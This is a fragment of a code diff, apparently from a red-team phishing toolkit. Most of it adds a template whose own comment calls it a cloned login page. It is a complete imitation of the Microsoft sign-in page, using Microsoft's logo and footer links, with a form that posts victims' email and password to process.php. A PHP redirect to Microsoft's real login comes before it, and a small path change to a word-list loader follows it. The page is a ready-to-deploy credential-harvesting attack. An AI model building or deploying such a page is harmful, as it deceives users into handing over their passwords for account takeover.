header('Location: https://login.microsoftonline.com/common/oauth2/);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
@@ -1,9 +1,106 @@
|
||||
{# OMITTED — phishing login page template #}
|
||||
{#
|
||||
Jinja2 template for a cloned login page. Target organization branding,
|
||||
logo, and color scheme are substituted at deploy time. Form POSTs to
|
||||
capture.php on the same server. Includes viewport/mobile meta tags for
|
||||
mobile phishing scenarios.
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Sign in to your account</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
.login-container {
|
||||
background: white;
|
||||
width: 380px;
|
||||
padding: 30px 40px;
|
||||
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
|
||||
}
|
||||
.logo {
|
||||
text-align: left;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
margin: 20px 0 15px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 8px 0;
|
||||
margin-bottom: 15px;
|
||||
border: none;
|
||||
border-bottom: 1px solid #ccc;
|
||||
font-size: 15px;
|
||||
outline: none;
|
||||
}
|
||||
input:focus {
|
||||
border-bottom: 1px solid #0067b8;
|
||||
}
|
||||
.button-container {
|
||||
text-align: right;
|
||||
margin-top: 20px;
|
||||
}
|
||||
button {
|
||||
background-color: #0067b8;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 8px 24px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.links {
|
||||
margin-top: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.links a {
|
||||
color: #0067b8;
|
||||
text-decoration: none;
|
||||
}
|
||||
.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: 10px 20px;
|
||||
font-size: 12px;
|
||||
color: #666;
|
||||
}
|
||||
.footer a {
|
||||
color: #666;
|
||||
text-decoration: none;
|
||||
margin-left: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div class="logo">
|
||||
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
|
||||
</div>
|
||||
<h1>Sign in</h1>
|
||||
<form action="process.php" method="post">
|
||||
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<div class="links">
|
||||
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
|
||||
<a href="https://account.live.com/password/reset">Can't access your account?</a>
|
||||
</div>
|
||||
<div class="button-container">
|
||||
<button type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<div class="terms">
|
||||
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
|
||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -11,7 +11,7 @@ def load_word_list(filename):
|
||||
"""Load words from a text file, one word per line"""
|
||||
try:
|
||||
# Check if we have FourEyes word lists
|
||||
foureyes_path = "/opt/redteam/FourEyes"
|
||||
foureyes_path = "/home/n0mad1k/Tools/FourEyes"
|
||||
if os.path.exists(foureyes_path):
|
||||
file_path = os.path.join(foureyes_path, filename)
|
||||
if os.path.exists(file_path):
|
||||
|
||||
Reference in New Issue
Block a user